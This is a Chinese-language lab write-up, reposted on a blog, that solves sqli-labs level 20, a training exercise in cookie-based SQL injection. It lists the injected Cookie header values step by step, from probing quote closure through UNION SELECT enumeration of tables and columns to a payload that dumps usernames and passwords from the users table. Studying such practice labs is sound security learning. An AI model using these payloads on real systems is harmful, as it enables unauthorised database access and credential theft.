sqli-labs(20)

最新推荐文章于 2024-05-18 16:15:21 发布

weixin_30419799

最新推荐文章于 2024-05-18 16:15:21 发布

阅读量112

点赞数

文章标签：数据库

原文链接：http://www.cnblogs.com/-zhong/p/10929299.html

版权

0X01

试探一下这是登录成功的页面

这里题目高速我们是基于cookie的注入

0X01抓包试探

这里登陆的时候有两个包

我们要含有cookie的那个包

0X02试探判断是否cookie存在注入

Cookie: uname=admin'

报错那么应该是基于'的cookie注入我们现在找到了是cookie的注入并且是’闭合那么我们如何进行注入呐？

怎么知道原来的语句呐？这里有一点点思路了构造后面一个数据一个数据的加加在，后面

Cookie: uname=admin',1)#
Cookie: uname=admin',1,1)#
Cookie: uname=admin',1,1,1)#

似乎好像不行那cookie是如何和数据库进行交互的呐？

看了源码原来如此

你登录成功就会在数据库存放cookiee的变量

然后以下每一次提交

那我们第一次cookie正确提交后面直接构造语句进行

这里查询cookie的语句是* 但是我们知道secruity这个里面有3个表所以这里我们构造语句

Cookie: uname=1'  union select 1,2,database()#

这里不能填入你正确的cookie 如果你填入真确的那么他就不会显示出你后面语句要查询的结果 name 和password都会显示成你正确的、

所以这里我们要填错误的cookie来进行注入

0X02爆表名限制了输出长度这里用limit 绕过

Cookie: uname=ad'  union select 1,2,(select table_name from information_schema.tables where table_schema='security' limit 3,1)#

0X03组合拳打法

列

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

字段

1' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users#

切记学习之路少就是多慢就是快

转载于:https://www.cnblogs.com/-zhong/p/10929299.html